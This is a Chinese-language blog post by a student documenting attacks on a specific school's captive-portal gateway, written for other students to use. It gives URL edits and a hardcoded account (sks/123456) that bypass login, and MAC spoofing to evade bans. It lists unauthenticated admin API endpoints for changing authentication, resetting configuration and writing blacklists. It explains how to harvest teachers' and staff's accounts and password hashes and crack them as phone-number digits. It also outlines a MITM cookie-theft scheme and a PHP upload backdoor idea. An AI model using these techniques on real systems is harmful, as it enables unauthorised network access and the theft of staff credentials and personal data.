返回

对学校网关的研究

序章

Mala所在的学校位于成都市高新西区,具有校园网 cdht@edu 与 cdht@edu-kdsyqsh。

学校本身并不想为我们开启网络,只需要让老师们联网即可。因此,校内网有一个 portal 认证机制,连接开放网络后需要提供额外登录凭证。但是,早年就有智慧的学长学姐们研究出了修改 URL 的特定部分绕开登录,从而联网的技能,在悄悄带手机的同学们之间代代相传。

默认portal界面 http://10.72.174.2:8081/pt_base/portal_7/portal.html?ssid_index=1&portal_id=7&acip=10.72.174.2&serip=【用户IP】&usermac=【用户MAC】&iwgmac=04:8b:42:10:c6:20

另外,这个网关仗着自己是网关,把 1.1.1.1 劫持了,不挂传送锚点的话访问 1.1.1.1 就是网关,想用 cloudflare 零信任网络的人有难了!(大雾)

修改:将 portal.html前面的 portal_7改成 portal_1,回车,会看到一个 “一键免费上网” 的按钮,点一下就会跳转百度,接下来就联网了!

然而,cdht@edu 2022 年 11 月已经寄了,它的默认门户 portal6 同时变成 404,晚上0点以后 cdht@edu-kdsyqsh 断网。

cdht@edu 的 SSID 依然存在,但是连接之后不能分配 IP 地址。这种现象与 cdht@edu-kdsyqsh 在零点之后的行为一致:已连接的用户无法上网,未连接或断开的用户无法被分配 IP。进行了研究之后的 Mala 推测:cdht@edu 的网关很可能位于高新区,存在的目的可能提供“跨域认证”功能的支持。若其位于学校,则可能已关机;位于高新区,则已被断开。断开的原因,推测是学校无权在夜间将高新区的网关关机,只有权关闭本校的 cdht@edu-kdsyqsh 的网关。

没过一两周,又大量地将使用这种绕过限制的方式联网的学生拉入黑名单。具体表现是,再次尝试绕过登录将会提示“该用户在黑名单中,请联系管理员”,无法联网。

同时,他们的另一项配置导致未授权访问各种网站无法被重定向到 portal 认证界面,认证界面只能从手机系统弹出的 WiFi 登录窗口访问,给获取 URL 进行修改增添了阻力。

后来有人发现,将【用户MAC】修改为随机值,或者开启手机的【随机硬件地址】功能 就能绕过黑名单,同时发现输 1.1.1.1 或 10.72.174.2 还能跳转到 portal 登录界面。同时,根据设置界面看到的 IP 和 MAC 自行编写登录 URL 亦是可行的。以及,学校中几乎所有直接接触用户的密码(例如走廊的希沃一体机、机房电脑的还原卡密码,当然也包含了老师办公室以门牌号为 SSID 的有密码、无 portal 认证的 WiFi等)都是 kdsy2009……

尽管网络问题一时得到了解决,但学校这种很的行为已经引起了 Mala 探究校园网登录系统的兴趣,所以 Mala 进行了一些研究并记录在这里。

开端

Mala 最早是比较轻敌的,想的是登录之后再内网访问 10.72.174.2,会弹出一个网关管理界面的登录页,如果网关管理也是那个通用密码,甚至如果网关开启了 ssh 或者 telnet,能不能直接把管理权拿下。

管理登录页面 http://10.72.174.2/html/login.html

但是事实是并不能这么做。首先我连用户名都不知道,22端口的 ssh、23端口的 telnet 倒是全都开着,但试过 admin、root、kdsy 等用户名等,都没有用。然后,包含通用密码在内的各种常用密码也都试过了,没有用。

Mala也尝试过用 nmap 去扫漏洞,结果还是一无所获。

不过,Mala 倒是发现了一些有趣的东西:管理登录界面的图标是“SKSPURCE”,搜索发现是 成都市西加云杉科技有限公司(点进去是官网)。该公司官网也有 一篇文章 提到了他们确实为成都市高新区和天府新区搭建了校园网,我们的每个教室前面也有一个 类似路由器的设备(WIA3300-20 的官网介绍),上面是和管理界面一样的标志。另外,经过查阅他们官网的资料推测,学校使用的网关可能是他们所谓“智能多业务网关”,更具体一点应该是 写明自己是 x86 架构的机型(SAC700 系列的官网介绍),因为后面的管理页面里面,有一堆验证权限的部分被注释了,还有一条注释说什么“x86 网关无认证”什么的——那不是刚好方便了学生吗!(笑)

不过这还让 Mala 发现了更恐怖的东西:他们的 ISM 智能服务与管理平台

ISM 实时从无线网络中获取用户上下线、互联网访问、虚拟账号使用、关键字搜索以及终端探测等行为并记录,并按公安部公共场所无线上网安全管理相关规范要求,对用户互联网访问行为进行安全审计与记录,以便有效的回溯用户上网行为;可将用户相关数据实时上报第三方安全管理平台。

之有那么恐怖了!(悲)

虽然获取权限比较困难,但终于 Mala 想起了一句话:

当你在家里发现一只蟑螂的时候,家里肯定已经有 1000 只蟑螂了。

为什么不在已经发现有绕过登录漏洞的 web 界面再看看有没有其他问题呢?

登录界面

portal 总体研究

就像前文描述的那样,通过不断地修改登录 URL,可以发现 Portal(门户)界面不只有一个。它们分别代表了一键免费登录、微信二维码登录、手机号验证码登录、用户名密码登录等方式。在 portal_1 中,引用了一个 portal.js,其中包含登录时发送的 HTTP 请求,从中却可以看出编号并非登录时发送给服务器的portal类型值。

一键登录业务逻辑 http://10.72.174.2:8081/pt_js/portal.js?s=2

if(typeof PORTAL_TYPE == "undefined"){
	var PORTAL_TYPE = {};
	PORTAL_TYPE.QRCODE = 1;
	PORTAL_TYPE.USR_PWD = 2;
	PORTAL_TYPE.SMS = 3;
	PORTAL_TYPE.WECHAT_WIFI = 4;
	PORTAL_TYPE.WECHAT_WIFI = 5; // cover?
	PORTAL_TYPE.ONE_KEY = 6;
}

经过整理,Mala 将 Portal 编号、登录方式、传给服务器的 portal 类型值列举如下:

Portal 编号 登录方式 portal_type
1 一键免费登录 6
2 二维码(一次性) 5
3 二维码(永久) 1
4 手机号验证码 3
5 一键免费登录 6
6 用户名密码(弃用) 2
7 用户名密码 2

portal 1/5 一键登录

说是一键登录,其实背后还是有一个用户——不过,是硬编码写死在认证系统里的特殊用户。

登录核心函数 action_online(用户名, 密码MD5, 会话有效期, 密码base64, 登录方式)

// 拼接请求
var sPageURL = window.location.search.substring(1);
// 这一行获取了登录界面的全部参数,将拼接到请求里面
var new_life_time="";
if (life_time) {new_life_time="&lifetime="+life_time}
// 传入有效期
var str_query = "/app?web&username="+new_name+"&password="+hash_pwd+new_life_time+"&"+sPageURL;
if(base64_pwd) {
    str_query += "&passwd=" + base64_pwd;
}// 传入密码base64
if(portal_type) {
    str_query += "&portal_type=" + portal_type;
}// 传入登录方式

一键登录函数 g_clicked_free_btn()

var username = "sks";
var hash_pwd = md5("123456");
action_online(username,hash_pwd, null, null, PORTAL_TYPE.ONE_KEY);

很好!很有精神!直接写死在前端里面!

可以整理这么一个表(笑)

用户名 密码 密码 MD5
sks 123456 e10adc3949ba59abbe56e057f20f883e
可以看出,一键登录时,会话有效期和密码 base64 均留空,观察到会话有效期参数留空则网关默认给24小时有效期。

最后拼接出来的一键登录请求URL http://10.72.174.2:8081/app?web&username=sks&password=e10adc3949ba59abbe56e057f20f883e&ssid_index=1&portal_id=7&acip=10.72.174.2&userip=【用户IP】&usermac=【用户MAC】&iwgmac=04:8b:42:10:c6:20&portal_type=6

portal 2/3 二维码

这个功能在后面的 portal 本地管理中被称为“翻转课堂”,设计目的可能是让老师在必要的时候允许学生上网,很可能是被迫暴露跨站伪造请求漏洞的原因——因为需要老师在自己的设备上发起请求,批准的却是让学生的设备联网。不过,这种事情,怎么会在我们学校出现呢?

微信登录界面没什么好看的,但多了一个管理员控制页面,是二维码的扫描结果:

管理员控制页面 http://10.72.174.2:8081/pt_base/portal_2/admin_qrcode.html?ssid_index=1&portal_id=7&acip=10.72.174.2&userip=【登录者IP】&usermac=【登录者MAC】&iwgmac=04:8b:42:10:c6:20

todo:该管理员界面有提到“临时授权一段时间”,可用于研究 lifetime 参数的作用。

该界面源码中有一个 API 可以获取最近请求二维码登录的MAC:

获取最近请求二维码登录的 MAC http://6.6.6.6:60000/?is_get_sta_mac=1

一次似乎只会返回一个MAC,一大群学生需要登录的话怎么办呢?

portal 6/7 用户名密码

这个就是最常见的登录方式了,也是各个 SSID 默认的登录方式,梦开始的地方。(

用户名密码登录业务逻辑 http://10.72.174.2:8081/pt_base/portal_7/js/portal.js?__r__638152445902061764

这里面没用 action_online(),重新发明了发请求的轮子,这回请求的时候会传有效期为120(?),并且会传密码base64

str_query = "/app?web&username="
	  + username 
	  + "&password="
	  + md5(password)
	  + "&passwd="
	  + base64_pwd
	  + "&portal_type=2"
	  + "&lifetime="
	  + lifetime
	  + "&" + sPageURL;

抓包到的请求URL http://10.72.174.2:8081/app?web&username=【账号】&password=【密码MD5】&passwd=【密码base64】&portal_type=2&lifetime=120&ssid_index=1&portal_id=7&acip=10.72.174.2&userip=【用户IP】&usermac=【用户MAC】&iwgmac=04:8b:42:10:c6:20 (为什么lifetime是120?以前是这样吗?)

推测网关收到portal_type=2会还原base64再计算MD5(预料到MD5流出?知道有问题为什么不修。。。)

管理界面

具体管理界面地址

四处寻寻觅觅,却未曾发现管理登录界面加载了一个 js 脚本:

http://10.72.174.2/js/menudata.js

它包含了各个管理界面的 html 文件的 URL,并且没有任何权限认证! 因为 x86 网关就是不支持! 后文会讲。

踏破铁鞋无觅处,得来全不费工夫?

var MenuData = [
	['Portal管理','sgw_ui/portal_manage.html'] ,
// http://10.72.174.2/sgw_ui/portal_manage.html
	['用户管理','sgw_ui/user_manage.html'] ,
// http://10.72.174.2/sgw_ui/user_manage.html
	['应用参数','sgw_ui/parameter.html'],
// http://10.72.174.2/sgw_ui/parameter.html
	['用户组', 'sgw_ui/user_group.html']
// http://10.72.174.2/sgw_ui/user_group.html

这指向的各个页面打开都是空白,可能是因为没有登录的缘故。但是未经授权的访问并不会被跳转——初步推测,这些页面都是模板而已,它们可能会在某个主页面的 iframe 里打开,而未登录跳转到登录界面是在那个主页面完成的。

但是,使用 w3m 等不支持 css 的浏览器去查看,就可以看见大致的界面内容。查看源码,则可以发现一些 API 的端倪。这些 API 一般都是用来对服务器上的数据库进行增删查改的 php 或者 shell 服务端脚本,返回的多半是需要的数据或者写入成功与否的提示。php 一般返回 json,sh 一般返回 xml,但 php 也有可能返回一个 html 页面。它们基本上都有一个参数 s=毫秒时间戳,请求方式多半都是 GET(可通过浏览器地址栏发起)。但也有使用 POST 请求的特例,需要 curlpacketsender 一类的工具。

x86 网关无人权

各种管理界面都会加载一个 sgw.js,推测 sgw 是 Smart / Service Gateway (“智能多业务网关”)的缩写。

http://10.72.174.2/sgw_ui/js/sgw.js

其中有如下代码

function check_valid_ssid(parm) {
    // for x86_ac, no check ssid 
    return true;
    var to_check_ssid = "";
    try {
        to_check_ssid = _get_cookie_value('SGW_SSID');
    } catch (e) { }

    // if no SGW_SSID, re-direct to login page
    if ("" == to_check_ssid) { _go_login_ssid_expire(); return false; }
// ...
//检测硬件型号
function translateResult(data, callback) {
    var hard_mode = _get_one_tag_from_xml_response(data, "hard_mode");
    var hard_ver = hard_mode.substr(0, 7);
    // X86_AC 默认开放页面
    callback();
}
function check_iwg_hardware(sucess, translate) {
    // X86_AC 默认开放页面
    return;
// ...

西加云杉的 x86 网关还把自己的架构当作卖点,没想到居然这么没人权,默认开放页面,什么验证都被跳过了。尝试调用验证 API,结果直接 404。

Portal 管理界面

该页面本来是用来控制本地 Portal 的。然而,本网关的 Portal 设置受到上游 ISM(西加云杉“智能服务与管理平台”)管理。

有一个 API 可以获取设备配置 http://10.72.174.2/cgi-bin/sgw_cgi/cgi_require_system_param.sh?s=【毫秒时间戳】

从返回的 XML 可以看出:默认情况下该设备显示只接受云端 portal 配置。

ISM

ISM云端地址 http://192.168.151.11:20010

看起来还是在内网里面啊!直接访问 http://192.168.151.11/ 会进入ISM登录界面,该界面下几乎全部js源码都被混淆而且拉成一条直线,而且代码非常抽象难以阅读 观察浏览器抓包信息发现加载URL包含了npm,node_modules,angular和app.js,捏着鼻子读那混淆成全是单字母变量的动态生成的代码,发现服务端用了 Angular v4.4.7 框架。后来又发现它用了 AdminLTE v2.3.8 模板、SystemJS 动态加载器等等框架。

内容全部也都是由动态加载的 js 动态生成的,而 js 代码一般就是进行这些拼接的。模板不可访问,对动态页面进行访问前还有权限限制,各种 API 调用以前也都要权限认证过获取一个临时的 token 传过去,几乎无法逆向了。

除非拿到管理员帐号密码,或者拿到 cookies。理论可以反射 XSS,因为该管理页面为不安全的 http 协议,如果 MITM 攻击网关篡改该地址的响应头,可以将它的Referrer-Policy strict-origin-when-cross-site 改为 unsafe-url,然后设置一个页面引诱管理员访问,访问时使用隐藏 iframe 加载 ISM 登录界面并向我的设备发送他们的 document.cookies。这个方案的主要问题就是需要向网站管理员暴露自己的存在(以引诱其访问恶意页面),可能需要社工,而且手段比较刑。

国际化文件

追过去用浏览器 F12 工具可以看见 ISM 里面有个国际化文件,基本可以当字符常量池看。

http://192.168.151.11/assets/i18n/zh-cn.json

{"zh-cn":"中文版","en":"英文","confirm":"确认","cancel":"取消","lg-systemInfo":"用户登录",
"lg-username":"请输入用户名","lg-password":"请输入密码","lg-remember":"记住密码","lg-login":"登录",
"lg-loginError":"用户名或密码错误!","prompt":"提示","lg-captcha":"请输入验证码","lg-logout":"退出成功",
"PLAT_TITLE":"平台管理","IAS_TITLE":"数据服务","IOPS_TITLE":"智能运维","APP_TITLE":"智能服务与管理平台",
"SAS_TITLE":"安全审计","MAIN_TITLE":"主菜单","IPLAT_HOME":"平台总览","IPLAT_OPENING":"开局配置",
"IPLAT_TPL_CONFIG":"模板配置","IPLAT_RESOURCE":"资源管理","IPLAT_USER":"用户管理","HOME_INTERFACE":"接口",
"IPLAT_SYSTEM":"系统管理","HOME":"首页","AREA_STATISTICS":"区域统计","NETWORK":"网络","ALARM":"告警",
"IOPS_DIAGNOSTIC_TOOLS":"诊断工具","PLACE_MANAGEMENT":"场所管理","STATUS_MONITOR":"状态监控",
"SECURITY_AUDIT":"安全审计","SECURITY_VENDOR_MANAGEMENT":"安全厂商","DATA_INTERACTION":"数据交互",
"SEARCH":"搜索...","Administrator":"管理员","Online":"在线","Operational_overview":"资源统计",
"Wireless_monitor":"无线监控","Whole_network":"全网","Wireless_SSID":"无线SSID","Area":"区域",
"Terminal":"终端","Business_management":"业务管理","AC_configuration":"AC配置管理","CMA_management":"CMA管理",
"Ops_report":"运维报表","My_report":"我的报表","Report_template":"报表模板","Indicator_definition":"指标说明",
"Alarm_management":"告警管理","Active_alarm":"活跃告警","History_alarm":"历史告警",
"Event_notification":"事件通知","Alarm_rules":"告警规则","Basic_notification":"基本通知",
"Warning_notice":"告警通知","Advanced_setting":"高级设置","Wireless_diagnosis":"无线诊断",
"Real_time_monitor":"实时监控","Network_speed":"网络测速","Log_collection":"日志采集",
"Channel_test":"信道测试","Information_customization":"信息定制","Announcement_information":"公告信息",
"Help":"帮助","Logout":"退出","Copyright":"版权所有:西加云杉科技有限公司","LOGIN_HINT":"请登录",
"AUTHORITY_HINT":"无权限","OPERATE_SUCCESS":"操作成功"}

“数据服务 安全审计 无线监控 活跃告警 区域统计” 妈耶要命

“系统管理 无线SSID 业务管理 AC配置管理 CMA管理” 怕不是就是这玩意儿把 cdht@edu 断了还搞了个凌晨断网

西加云杉宣传的都是真的啊,真可怕……建议自学武术激活传送锚点吧,好歹是保障了加密连接

现在校内网白名单也逆天,屏蔽国外网站我能理解,但是你屏蔽 CSDN 是什么意思?

用传送锚点基本上可以周游提瓦特列国,并解除对于 1.1.1.1 的劫持。

但是全局武术会被阻断,规则武术可用,还有一个问题:你说的对,但是我们璃月的 CSDN 没在传送规则里面

草。

本地 portal 管理

返回来继续阅读网关 portal 管理源码,发现网关本地依然暴露有 portal 管理界面 本地 portal 管理界面 http://10.72.174.2/sgw_ui/portal_template_conf.html

续认证方式探究
if (portal_id == "2") {
	obj_row.insertCell(-1).innerHTML = "<select disabled><option msgid='二维码授权认证'>" + _("二维码授权认证") +
		"</option></select>"
} else if (portal_id == "3") {
	obj_row.insertCell(-1).innerHTML = "<select disabled><option msgid='翻转课堂'>" + _("翻转课堂") + "</option></select>"
} else if (portal_id == "5") {
	obj_row.insertCell(-1).innerHTML = "<select disabled><option msgid='一键认证'>" + _("一键认证") + "</option></select>"
} else {
	obj_row.insertCell(-1).innerHTML = _get_html_by_portal_auth(portal_auth, portal_id);
	// if (portal_id == "3" || portal_id == "5") {
	// 		obj_row.insertCell(-1).childNodes.disabled = true;
	// }
}

上面 portal 研究那边 portal 2 和 3 之间二维码授权和翻转课堂的差异是从这里看出来的。另外,默认只有 portal5 是一键(绕过)认证。这种写死的需要特别注意:它们可能就像到处给特判的 sks 账号一样,是无法被禁用的。如果以后 portal 1 不能用了,同学们可以试试 portal 5。

用于查询 portal 列表的API

http://10.72.174.2/cgi-bin/sgw_cgi/cgi_list_portal_mgmt.sh?s=【时间戳】

例子

<resultset xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" statement="SELECT portal_id,portal_name,portal_auth,post_auth_type,post_auth_url,vlan_id,update_time,use_status FROM sgw_portal_mgmt WHERE portal_id<=10 ORDER BY portal_id">
	<row>
		<field name="portal_id">1</field>
		<field name="portal_name">模板一</field>
		<field name="portal_auth">F</field>
		<field name="post_auth_type">U</field>
		<field name="post_auth_url">m.baidu.com</field>
		<field name="vlan_id">1</field>
		<field name="update_time">2023-01-13 17:12:44</field>
		<field name="use_status">Y</field>
	</row>

进去认真看可以看到返回数据里面只有 portal_id=1 这个模板是 YYes 启用

注意-文件上传

前端有一个文件上传方法,和服务端 API 配合使用的。

function ajaxFileUpload(portal_id, target_image) {
	$.ajaxFileUpload({
		url: '/cgi-bin/sgw_cgi/upload_file.php', //你处理上传文件的服务端
		secureuri: false,
		fileElementId: 'uploadfile',
		dataType: 'xml',
		success: function (data) {
			var succ_file_name = _get_one_tag_from_xml_response(data, "succ");
			if (null == succ_file_name) {
				alert(_("图片上传出错,请重试!"));
			} else {
				_proc_succ_upload(portal_id, target_image, succ_file_name);
			}
		},
		error: function (data, status, e) {
			alert(_("图片上传出错,请重试!"));
		}
	})
	return false;
} // end of ajaxFileUpload

要调用它,可能需要电脑浏览器开发者工具的控制台,或者用无头浏览器、 nodejs 的 http 库开客户端之类的方式,总之需要该网页的 js 控制台。

手机版 Kiwi 浏览器也有控制台,但是复制粘贴和右键菜单之类的适配都比较粗暴,不方便用,建议还是用 Termux 跑无头浏览器。

理论上这个 API 可以用来上传后门?配合 Apache 的后缀名判断特性之类的,比如上传一个 portal.php.jpg 来绕过验证,检测机制按第一位后缀当成是 jpg 通过,但 Apache 读取文件 MIME 知道内容是 plain text,改为判断第二位 php 发现可执行,是不是就成了捏。

没试过。

危险-更改认证方式

不要随便动!

该 API 修改一个 portal 的认证方式,理论上可以全部改成一键免费认证。该过程需要用到一个参数 portal_auth(认证方式代码),此处引述它的一些值的含义

html_snip += "<OPTION value='F' " + checked_F + " msgid='一键认证'>" + _("一键认证") + "</OPTION>"
html_snip += "<OPTION value='S' " + checked_S + " msgid='短信验证码'>" + _("短信验证码") + "</OPTION>"
html_snip += "<OPTION value='P' " + checked_P + " msgid='用户名密码'>" + _("用户名密码") + "</OPTION>"
html_snip += "<OPTION value='U' " + checked_U + " msgid='短信或用户名'>" + _("短信或用户名") + "</OPTION>"
登录方式 认证方式代码
一键免费登录 F
短信验证码 S
用户名密码 P
短信或用户名 U
API
http://10.72.174.2/cgi-bin/sgw_cgi/cgi_modify_portal_auth.sh?s=【毫秒时间戳】&portal_id=【portal编号】&portal_auth=【认证方式代码】

危险接口我都不会设为链接。调用之前想清楚自己在干什么,我不负责。

危险-重置模板

可能在 portal 1 被修改不可用的时候会管用,平时 不! 要! 动!

http://10.72.174.2/cgi-bin/sgw_cgi/cgi_reset_sys_conf.sh?s=【毫秒时间戳】&portal_template_id=【portal编号】

用户管理界面

该页面能够查询用户的各种信息,还能创建/删除用户、将 MAC 地址拉入黑名单或白名单。真可谓是最实用的界面,也是研究最深的界面。

获取用户信息

该 API 返回一个 XML,包含指定参数含有指定值的所有用户的账号、姓名、密码的 MD5 值登录记录。

http://10.72.174.2/cgi-bin/sgw_cgi/cgi_list_auth_mgmt.sh?s=【毫秒时间戳】&page_number=【页码】&page_size=【条目数】

它后面还需要跟一个查找目标参数,可以是对方的账号或设备 MAC 或姓名。

查找目标 参数格式
账号(手机号) &user=账号
设备 MAC &mac=设备MAC
姓名 &ext_name=姓名

该 API 可以用来查找指定老师、物业员工、食堂职工的账号密码。账号一般就是手机号,md5 密码我爆破过了,原密码一般就是手机号后六位。如果不是,建议搭配类似于 cmd5 这样的 md5 反查网站使用。如果显示反查结果要钱才能看,就换一个人(

抓取数据大致如下

<resultset xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" statement="SELECT auth_mgmt.*,COUNT(user_mac) AS mac_bind_count,3 AS mac_bind_count_max FROM (SELECT auth_name,auth_type,auth_pwd,expire_time,net_intf,ext_name,ext_gender,ext_id_num,ext_mobile,ext_phone,ext_addr,ext_qq,ext_dept,ext_duty,ext_note FROM sgw_user_auth_mgmt WHERE 2>1 AND auth_name like '%sks%' ORDER BY expire_time DESC LIMIT 0,10) AS auth_mgmt LEFT JOIN sgw_user_mac_bind ON auth_mgmt.auth_name=sgw_user_mac_bind.auth_name GROUP BY auth_mgmt.auth_name,auth_mgmt.net_intf ORDER BY expire_time DESC">
	<row>
		<field name="auth_name">sks</field>
		<field name="auth_type">U</field>
		<field name="auth_pwd">e10adc3949ba59abbe56e057f20f883e</field>
		<field name="expire_time">2050-05-30 17:12:44</field>
		<field name="net_intf">0</field>
		<field name="ext_name" xsi:nil="true"/>
		<field name="ext_gender" xsi:nil="true"/>
		<field name="ext_id_num" xsi:nil="true"/>
		<field name="ext_mobile" xsi:nil="true"/>
		<field name="ext_phone" xsi:nil="true"/>
		<field name="ext_addr" xsi:nil="true"/>
		<field name="ext_qq" xsi:nil="true"/>
		<field name="ext_dept" xsi:nil="true"/>
		<field name="ext_duty" xsi:nil="true"/>
		<field name="ext_note" xsi:nil="true"/>
		<field name="mac_bind_count">0</field>
		<field name="mac_bind_count_max">3</field>
	</row>
</resultset>

为了避免向外人泄漏老师隐私,用来举例的是是特殊账号sks,不能走常规方式登录的。对于更普遍的真人账号,ext_name 会指明其姓名,ext_duty 会指明其工作,mac_bind_count会指明其已经绑定的设备数量。其他栏位均为 nil(空)。

很不人性化的一点是,只要一个 MAC 登录过一次就算绑定一个新设备(所以用这个就不要开随机 MAC 或者自己胡编,MAC 变了就白搭了),而且不能手动移除设备,最大绑定数量为是写死的 3。

获取登录记录

该 API 返回一个 XML,包含某个特定账号最近的登录活动,特定于设备,包含 MAC、IP、登录时间、会话到期时间等。

http://10.72.174.2/cgi-bin/sgw_cgi/cgi_list_user_auth.sh?s=【毫秒时间戳】&page_number=【页码】&net_intf=【模板号】&user=【用户名】&page_size=【条目数】

如果你有足够的恶趣味,你可以尝试从这个接口抓取一下信息,制作一个时间与登录用户量的关系图。20:30到23:30 都会很热闹,相信我!w因为我已经做好了()

抓取到的原始数据大致如下

<resultset xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" statement="SELECT sgw_user_auth_info.auth_name, sgw_user_auth_info.auth_type, sgw_user_auth_info.user_mac, sgw_user_auth_info.user_ip, sgw_user_auth_info.net_intf, sgw_user_auth_info.access_time, sgw_user_auth_info.expire_time, (select name from iwg_oui where mac=substr(upper(sgw_user_auth_info.user_mac),1,8) limit 1) as vendor_cn, (select lower(ename) from iwg_oui where mac=substr(upper(sgw_user_auth_info.user_mac),1,8) limit 1) as vendor FROM sgw_user_auth_info LEFT JOIN sgw_user_auth_mgmt ON sgw_user_auth_info.auth_name=sgw_user_auth_mgmt.auth_name WHERE sgw_user_auth_info.auth_type<>'E' ORDER BY access_time DESC LIMIT 0,1">
	<row>
		<field name="auth_name">sks</field>
		<field name="auth_type">A</field>
		<field name="user_mac">A4:D8:CA:F8:5C:6E</field>
		<field name="user_ip">10.72.175.228</field>
		<field name="net_intf">6</field>
		<field name="access_time">2023-04-03 20:54:27</field>
		<field name="expire_time">2023-04-04 20:54:27</field>
		<field name="vendor_cn" xsi:nil="true"/>
		<field name="vendor" xsi:nil="true"/>
	</row>
</resultset>

创建/删除用户

该 API 创建用户

todo

该 API 删除用户

todo

危险-写入黑白名单

Mala 不愿意为该 API 提供帮助,但它确实存在,Mala 也必须告诉大家它的存在。

把它放在这里,是希望大家把它的错误设计当成西加云杉提供的宝贵的反面教材,而不是让大家互相扔核弹。

西加云杉的设计存在很大的问题。他们提供了 拉黑名单拉白名单 两个功能。然而,它显然还需要两个功能:将某人从黑名单中删除,和从白名单中删除,才称得上完备。

按目前的研究程度,一旦把人拉进黑名单或者白名单,就无法移除,也就是说如果被拉黑,这个 MAC 地址对应的设备就必须改 MAC 才能上网,而且没有自救的办法。相应的,如果有设备被加了白名单,那么它也就再也不能被拉黑了。

大家可能会问,我们的黑名单前段时间其实都被移除了,这是怎么做到的呢?以后是不是也可以给我们删黑名单?

首先这不是 Mala 删的,是学校删的,学校做到这件事的原理和代价是删了整个名单数据库。为什么呢?Mala 的推测是,当时学校拉黑的标准就是通过 sks 账号认证(他们当时认为只有一键绕认证会通过这个账号登录)。然而,某些老师办公室的墙壁网线插座也是自动通过这个账号登录的,证据是 Mala 的自动抓取信息脚本每天都会从 sks 账号上检出至少十个路由器设备,制造商来自 TP-LINK,B-LINK 等等。正可能是因为这次大拉黑严重误伤了老师,而学校拉了黑名单又没办法删除,也难以分辨到底哪个设备老师的路由器,哪个设备是学生违规带的手机,哪个设备又是学生合理携带的电子词典,所以学校才能看似“大发慈悲”地“大赦天下”。

但是,以后呢?

“新官上任三把火”,某个新校长上任干的第一件事就是这件事。他现在坐稳了,Mala 觉得可能不会再有谁看一眼现在名单怎么样了,更不会去动数据库。我们是没有权限直接动数据库的,只能走 API。

你要是把谁写进黑名单了,如果这人是个同学,你也没法让他上不了网,充其量就是让他每天多改一段 URL 里面的 MAC 而已。如果这是个老师,那对方肯定想不出来改 URL 这种方案,改出来也是浪费他们的账号登录名额,最后情况肯定会上报学校,你觉得你躲得过?

把自己写白名单,这操作倒是聪明,预先写了白名单也就无法写黑名单了嘛,就像打疫苗。但是有没有想过,如果以后学校知道我们有这种漏洞钻了,拉黑的时候直接抄一份白名单然后删库,最后一个一个拉黑?这可是毫无负担地筛选不会误伤老师的拉黑对象的好办法。

接口 Mala 扔在这了,要调的想清楚自己在干什么,勿谓言之不预也。

http://10.72.174.2/cgi-bin/sgw_cgi/cgi_add_user_auth_bw.sh?s=【毫秒时间戳】&bw_type=【名单类型】&mac=MAC地址&intf=【模板编号】

注:之所以在这个危险接口写一长串,是因为真的有人调过它,而且是写脚本自动批量调用的,脚本写失误了,把大量明显异常的东西写进了白名单,可能导致他们发现漏洞并更新反制措施。请大家引以为戒。

另注:请不要在毕业典礼上拉黑张校长,即使你想知道他是不是戴假发,谢谢!

应用参数页面

今后更新。

用户组页面

用户组,某些地方也称为模板,代码里称为 net_intf(推测 intf 是 interface 的缩写),是一群用户的集合,可以批量设定用户单次登录的到期时间、允许的登录方式等。该页面背后的 API 能够调整登录用户所在的用户组。

今后更新。

Licensed under CC BY-NC-SA 4.0